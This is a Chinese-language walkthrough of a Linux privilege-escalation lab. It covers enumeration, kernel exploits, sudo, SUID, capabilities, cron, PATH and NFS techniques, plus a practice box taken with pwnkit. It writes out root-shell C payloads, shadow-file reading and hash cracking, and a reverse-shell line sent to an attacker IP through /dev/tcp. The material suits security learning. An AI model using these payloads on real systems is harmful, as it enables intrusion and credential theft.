信息收集

假设已经拿下权限,那就先收集下这台机器的信息

主机名

1
hostname

系统信息

1
uname -a

内核版本和其他数据的信息

1
cat /proc/version

/etc/issue 系统版本

1
cat /etc/issue

看进程

1
2
3
4
ps -A:查看所有正在运行的进程
ps axjf:查看进程树(请参阅下面的树结构,直到运行 ps axjf)
ps aux:aux 选项将显示所有用户的进程 (a),显示启动进程的用户 (u),并显示未连接到终端的进程 (x)。查看 ps aux 命令输出,我们可以更好地了解系统和潜在漏洞。

一般直接用

1
ps -aux

看环境变量

1
env


重点看path变量
PATH 变量可能具有编译器或脚本语言(例如 Python),可用于在目标系统上运行代码或用于权限提升。

看允许用户使用 root 权限运行哪些命令(鸡肋,要密码)

1
sudo -l

看用户组

1
id

也可看其他用户

1
id root

/etc/passwd

1
cat /etc/passwd

这里面会记录系统的用户
可以直接读取用户名,这个文件一般以:分隔,然后用户名一般都在第一列

1
cat /etc/passwd|cut -d ":" -f 1


这是获取所有用户名,但还要查找真实用户,一般用户文件都会在home文件夹下

1
cat /etc/passwd|grep home|cut -d ":" -f 1


或者不切割直接看```

1
cat /etc/passwd|grep home

历史命令

1
history

查看早期的命令可以让我们对目标系统有所了解,并且尽管很少存储密码或用户名等信息
甚至有时候靶机上还没有这个

系统网络接口的信息

1
ifconfig


假设我们可以看到有不能访问到的接口,可以通过

1
ip route

查看存在哪些网络路由

看网络统计信息

1
2
3
4
5
6
7
8
9
10
netstat -a:显示所有侦听端口和已建立的连接。
netstat -at 或 netstat -au 也可以分别用于列出 TCP 或 UDP 协议。
netstat -l:列出处于 “listening” 模式的端口。这些端口已打开并准备好接受传入连接。这可以与 “t” 选项一起使用,以仅列出正在使用 TCP 协议侦听的端口
netstat -s:按协议列出网络使用统计信息(如下)这也可以与 -t 或 -u 选项一起使用,以将输出限制为特定协议
netstat -tp:列出带有服务名称和 PID 的连接 信息
netstat -i:显示接口统计信息。我们在下面看到,“eth0” 和 “tun0” 比 “tun1” 更活跃
-a:显示所有套接字
-n:不解析名称
-o:显示计时器

find(find命令往往会产生错误,因此一般都会加一个:2>/dev/null)

在当前目录

1
find . -name file

/目录查找名为file的目录

1
find / -type d -name file

查找具有 777 权限的文件(所有用户均可读取、可写和可执行的文件)

1
find / -type f -perm 0777

查找可执行文件

1
find / -perm a=x

在“/home”下查找用户“frank”的所有文件

1
find /home -user frank

查找最近十天修改的文件

1
find / -mtime 10

查找过去十天内访问的文件

1
find / -atime 10

查找在过去一小时内更改的文件

1
find / -cmin -60

查找在过去一小时内访问的文件

1
find / -amin -60

查找大小为50M的文件

1
find / -size 50M
1
2
此命令还可以与 (+) 和 (-) 符号一起使用,以指定大于或小于给定大小的文件

可以写入或从中执行的文件夹和文件:

1
find / -writable -type d 2>/dev/null
1
find / -perm -222 -type d 2>/dev/null
1
find / -perm -o w -type d 2>/dev/null
1
find / -perm -o x -type d 2>/dev/null
1
2
查找全局可执行文件文件夹

查找特定文件权限

1
find / -perm -u=s -type f 2>/dev/null
1
2
查找具有 SUID 位的文件,这允许我们以比当前用户更高的权限级别运行文件

回答问题

目标系统的主机名是什么?

1
wade7363

目标系统的 Linux 内核版本是什么?

1
3.13.0-24-generic

这是什么 Linux

1
Ubuntu 14.04 LTS

系统安装了哪个版本的 Python 语言

1
2.7.6

哪个漏洞似乎影响了目标系统的内核?(输入 CVE 编号)

1
CVE-2015-1328

自动枚举工具

有几种工具可以帮助您在普查过程中节省时间。这些工具仅用于节省时间,因为它们可能会错过一些权限提升向量。以下是流行的 Linux 枚举工具列表,以及指向其各自 Github 存储库的链接。

PEASS-ng感觉是最好用的

1
2
搜索可以利用的可能的本地权限提升路径 ,并以漂亮的颜色打印,以便轻松识别错误配置

可以先用les.sh(提权漏扫,扫出了直接用,用不了再用本体信息收集)

LinEnum

1
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
1
2
3
4
5
6
7
8
9
10
-k Enter keyword  -k Enter 关键字
-e Enter export location -e 输入导出位置
-t Include thorough (lengthy) tests
-t 包括彻底的(漫长的)测试
-s Supply current user password to check sudo perms (INSECURE)
-s 提供当前用户密码以检查 sudo 烫发 (不安全)
-r Enter report name -r 输入报表名称
-h Displays this help text
-h 显示此帮助文本

LES (Linux Exploit Suggester)

1
2
3
4
5
Highly probable - 评估的内核很可能受到影响,并且 PoC 漏洞很有可能无需任何重大修改即可直接运行。
Probable - 漏洞有可能生效,但很可能需要根据目标定制 PoC 漏洞。
Less probable - 需要进行额外的手动分析以验证内核是否受到影响。
Unprobable - 内核极不可能受到影响(漏洞不会显示在工具的输出中)。

Linux Smart Enumeration这个也还行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
参数说明:
-c
禁用颜色输出。默认情况下,脚本会使用颜色来区分不同类型的信息和风险等级,这个选项会关闭颜色显示。
-i
非交互模式。在非交互模式下,脚本不会等待用户输入,会直接运行并输出结果,这对于自动化执行或在脚本中调用很有用。
-h
显示帮助信息。运行脚本时加上这个参数会显示参数的用法说明(也就是您提供的这段文本)。
-l LEVEL
设置输出的详细级别。
0: 只显示非常重要的结果。(默认级别)
1: 显示所有“有趣”的结果(包括重要和一些次要但可能相关的信息)。
2: 显示所有收集到的信息(最详细的级别,包括所有检查项目的输出)。
-s SELECTION
指定要运行的检查部分或特定测试,多个选择之间用逗号分隔。可用的检查部分有:
usr: 用户相关的测试。
sud: Sudo 相关的测试。
fst: 文件系统相关的测试。
sys: 系统相关的测试。
sec: 安全措施相关的测试。
ret: 重复性任务(cron 定时任务, systemd timers)相关的测试。
net: 网络相关的测试。
srv: 服务相关的测试。
pro: 进程相关的测试。
sof: 软件相关的测试。
ctn: 容器(docker, lxc)相关的测试。
cve: CVE (已知漏洞) 相关的测试。
也可以使用特定的测试ID(例如:usr020,sud)来指定运行更精细的测试。
-e PATHS
指定要排除扫描的路径列表,多个路径之间用逗号分隔。使用这个选项可以加快扫描速度,但会牺牲检查的完整性。
-p SECONDS
进程监控的时间,单位为秒。脚本会在这段时间内监控进程活动。设置为 0 会禁用任何进程监控(默认是 60 秒)。
-S
在本机上启动一个简单的HTTP服务,用于提供 lse.sh 脚本(通常与 linpeas.sh 在同一 PEASS-ng 项目中,用于更深入的枚举),以便可以从远程主机下载。

它还有个子项目

1
./tools/package_cvs_into_lse.sh

运行以上命令编译成./lse_cve.sh
然后可以测试cve,但实际没什么用,测试的脚本是在cve文件夹里,内置的的很少
Linux Priv Checker

利用内核漏洞提权

内核漏洞利用方法思路

  1. 确定内核版本
  2. 搜索并查找目标系统内核版本的漏洞利用代码,一看
  3. 运行漏洞利用

失败的内核漏洞可能会导致系统崩溃。在尝试利用内核之前,请确保此潜在结果在您的渗透测试参与范围内是可接受的

实操

先看靶机内核版本

1
uname -a


丢给ai分析,可能是存在CVE-2015-1328可利用
搜索相关利用脚本

中间的那个是个c文件
下载下来编译一下

1
gcc -o cve_2015_1328 37292.c


让靶机远程下载

1
scp lan1oc@10.21.170.43:/home/lan1oc/Downloads/cve_2015_1328 /tmp


肥肠尴尬

看来得在靶机上编译才行

成功提权
找flag1.txt

利用sudo提权

提供了有关如何使用可能拥有 sudo 权限的任何程序的信息

思路

sudo直接提权

  1. 先找能用sudo命令的命令

    1
    

|

     sudo -l  
       

—|—
2. 然后从找利用方法

LD_PRELOAD利用的思路

  1. 检查 LD_PRELOAD(使用 env_keep 选项)

  2. 编写编译为共享对象(.so 扩展名)文件的简单 C 代码

    1  
    2  
    3  
    4  
    5  
    6  
    7  
    8  
    9  
    10
    

|

     #include <stdio.h>  
     #include <sys/types.h>  
     #include <stdlib.h>  
       
     void _init() {  
     unsetenv("LD_PRELOAD");  
     setgid(0);  
     setuid(0);  
     system("/bin/bash");  
     }  
       

—|—
编译一下

     1  
     

|

     gcc -fPIC -shared -o shell.so shell.c -nostartfiles  
       

—|—
3. 使用 sudo 权限和指向我们的 .so 文件的 LD_PRELOAD 选项运行程序

     1  
     

|

     sudo LD_PRELOAD=/home/user/ldpreload/shell.so find  
       

—|—
这将导致生成具有 root 权限的 shell

回答问题

用户 “karen” 可以在具有 sudo 权限的目标系统上运行多少个程序?

1
sudo -l

flag2.txt 文件的内容是什么?

1
find / -name flag2.txt 2>/dev/null|grep flag

1
cat /home/ubuntu/flag2.txt

如果您的用户在 nmap 上拥有 sudo 权限,您将如何使用 Nmap 生成根 shell?

1
sudo nmap --interactive

frank 的密码哈希值是多少?

先提权,找下运行用sudo命令的命令

1
sudo -l


有个find,那就直接脱离受限环境

1
sudo find . -exec /bin/sh \; -quit


然后读文件

1
cat /etc/shadow|grep frank

suid提权

思路

  1. 先找有suid的命令

    1
    

|

     find / -type f -perm -4000 -ls 2>/dev/null  
       

—|—

2. 然后从找利用方法

例子:nano提权(nano具有suid)

两种利用思路

破解

1
nano /etc/shadow

将打印 /etc/shadow 文件的 内容
创建一个可以被 John the Ripper 破解的文件(读取/etc/passwd和/etc/shadow)

1
unshadow passwd.txt shadow.txt > passwords.txt

然后用john破解

添加用户

需要新用户要使用的密码的哈希值

1
openssl passwd -1 -salt aaa 1412
1
2
用openssl对password1这个密码生成一个密码哈希


将这个密码和用户名添加到 /etc/passwd 文件

1
hack:$1$aaa$sSXZ4A4TP1A3T9YQEumVU/:0:0:root:/root:/bin/bash

然后切换到hack用户,就将拥有root权限

实操以及回答问题

哪个用户分享了一位伟大的漫画作家的名字?

先找suid置位的命令

1
find / -type f -perm -4000 -ls 2>/dev/null

看到有at,直接读文件看看

1
echo "cat /etc/passwd > /tmp/passwd1.txt" | at now
1
cat /tmp/passwd1.txt


切一下输出一下,看看用户名

1
cat /tmp/passwd1.txt|cut -d ":" -f 1

user2 的密码是什么?

看看密码(at命令失败了,换base64)

1
base64 /etc/shadow|base64 --decode


读到内容了,切一下

1
base64 /etc/shadow|base64 --decode|grep user2 > /tmp/passwd2.txt


处理一下用户名

1
base64 /etc/passwd|base64 --decode|grep user2 > /tmp/passwd1.txt


用unshadow处理一下

1
./unshadow passwd1.txt passwd2.txt > unshadowed.txt


用john破解一下

1
./john --wordlist=/home/lan1oc/fuzzDicts-master/rockyou/rockyou.txt --format=sha512crypt unshadowed.txt

flag3.txt 文件的内容是什么?

先找下在哪

1
find / -name flag3.txt 2>/dev/null


不能直接读,那就base64秒了

1
base64 /home/ubuntu/flag3.txt|base64 --decode

利用功能提权

对应的是这方面提权的东西

思路

先找开启set功能的

1
getcap -r / 2>/dev/null


然后去GTOBins找就行了

回答问题

有多少个二进制文件具有 set 功能?

6

还可以通过其功能使用哪些其他二进制文件?

view

flag4.txt 文件的内容是什么?

先找在哪

1
find / -name flag4.txt 2>/dev/null

然后查看

1
view /home/ubuntu/flag4.txt

利用定时任务提权

适用场景

定时任务总是值得检查的,因为它有时会导致简单的权限提升向量。以下情况在没有特定网络安全成熟度级别的公司中并不少见:

  1. 系统管理员需要定期运行脚本。
  2. 他们创建一个 cron 作业来执行此作
  3. 过了一会儿,脚本变得无用了,他们删除了它
  4. 它们不会清理相关的 cron 作业

思路

定时任务一般是在/etc/crontab

如果未定义脚本的完整路径,cron 将引用 /etc/crontab 文件中 PATH 变量下列出的路径
如果PATH变量有/home/用户名,那么在对应用户名的主文件夹创建那个脚本,定时任务也将会去执行它
如果有当前用户主文件夹中的脚本被定时任务执行,可以通过修改这个脚本来提权

实操

先看看定时任务文件

1
cat /etc/crontab


PATH变量没有当前用户主目录,但是在当前用户有个计划任务所用的脚本
尝试对其添加反弹shell的语句

1
echo "bash -c 'exec bash -i > /dev/tcp/10.21.170.43/404 0>&1 2>&1'" >> /home/karen/backup.sh


然后给这个脚本赋予可执行权限

1
chmod +x backup.sh

回答问题

flag5.txt 文件的内容是什么?

Matt 的密码是什么?

利用PATH变量提权

PATH 是一个环境变量,它告诉作系统在何处搜索可执行文件,对于未内置于 shell 中或未使用绝对路径定义的任何命令,Linux 将开始在 PATH 下定义的文件夹中搜索

思路

如果$PATH中包含的路径存在当前用户可写的,可在其中写入恶意可执行文件并运行

  1. 先看$PATH
  2. 再找可写文件夹
  3. 然后把要用的可写文件夹写入$PATH
  4. 再可写文件夹中创建恶意可执行文件,设置 SUID 位后,此二进制文件将以 root 权限运行

实操

1
find / -writable 2>/dev/null

找到一个用户文件夹

1
find / -name flag6.txt 2>/dev/null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>

int main() {
FILE *file;
char buffer[1024]; // 假设文件内容不超过1024字节
size_t bytesRead;

// 打开文件
file = fopen("/home/matt/flag6.txt", "r");
if (file == NULL) {
perror("无法打开文件");
return 1;
}

// 读取文件内容
bytesRead = fread(buffer, 1, sizeof(buffer) - 1, file);
if (bytesRead == 0 && ferror(file)) {
perror("读取文件时出错");
fclose(file);
return 1;
}

// 确保字符串以空字符结尾
buffer[bytesRead] = '\0';

// 打印文件内容
printf("%s", buffer);

// 关闭文件
fclose(file);
return 0;
}
1
gcc 1.c -o 1

1
export PATH=/home/murdoch:$PATH


远程下载一下

肥肠尴尬

看了提示才知道,这题纯是脑洞题啊,有个可执行文件test,它会执行thm文件,那就创建一个并写入命令

1
cat /home/matt/flag6.txt

NFS提权

Network File System,网络文件系统
共享文件夹和远程管理界面(如 SSH 和 Telnet)还可以帮助您获得对目标系统的 root 访问权限。在某些情况下,还需要同时使用这两种向量,例如,在目标系统上找到根 SSH 私钥,并使用 root 权限通过 SSH 进行连接,而不是尝试提高当前用户的权限级别
NFS(网络文件共享)配置保存在 /etc/exports 文件中。此文件是在 NFS 服务器安装期间创建的,通常可由用户读取

前提:有个文件夹配置了no_root_squash参数,然后创建恶意可执行文件需要在root进行

如果可写共享资源上存在 “no_root_squash” 选项,可以创建一个设置了 SUID 位的可执行文件,并在目标系统上运行它

实操

先在目标上找配置了no_root_squash的共享

1
cat /etc/exports


从攻击机器中列举可挂载的份额

1
showmount -e 10.10.73.55


比对发现,随便一个都行,那就挂载一个

1
mkdir /tmp/tmp;sudo mount -o rw 10.10.73.55:/tmp /tmp/tmp



接下来攻击机挂载的那个目录开始构建可执行文件

1
2
3
4
5
6
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
1
gcc 1.c -o 1 -w


挂载后,再本机制作就行,无需再传到目标机上

1
chmod +s 1
1
2
在攻击机

切换到目标机提权,运行1就行,但是肥肠尴尬,我的GLIBC版本太高了,重新制作个吧
然后尝试静态编译,进入bash终端了,但是没提权


然后发现忽略了一个问题,程序所有者不是root,切换用户,重来一次就成功提权了

练习

想先找文件,结果一直没输出结果,看看报错,才知道权限不够,意思是先提权再说了

信息收集一下

传个林豌豆上去

啊既然说了脏牛能打,那就试一下

很好没打成功

那就继续看看还挖出了哪些可利用信息

思路1

$PATH变量中找到这些信息

没怎么利用上,然后找suid置位的,发现有pkexec

让ai分析了一下,可能会有pwnkit能利用,易受 CVE-2021-4034 影响 的版本一般是 polkit < 0.112.0(Debian/Ubuntu 通常 < 0.105-26)

1
/usr/bin/pkexec --version


或者直接看pkexec的版本也行

1
pkexec --version

然后用CVE-2021-4034打通

漏洞利用

pwnkit这个cve打通了

思路2

想到之前利用过base64读文件,然后再利用john破解密码的,正好suid置位的也有base64

同时显示出了用终端的用户有三个

查看文件发现missy用户拥有sudo权限

1
base64 /etc/sudoers|base64 --decode


那么思路就清晰了,破解missy的密码然后切换用户,用find提权
读取下文件

1
base64 /etc/passwd|base64 --decode|grep missy
1
base64 /etc/shadow|base64 --decode|grep missy

1
./john --wordlist=/home/lan1oc/fuzzDicts-master/rockyou/rockyou.txt --format=sha512crypt a.txt


用find提权

1
sudo find . -exec /bin/bash \; -quit

最后

提权挺有意思的,但是没思路的时候真的肥肠牢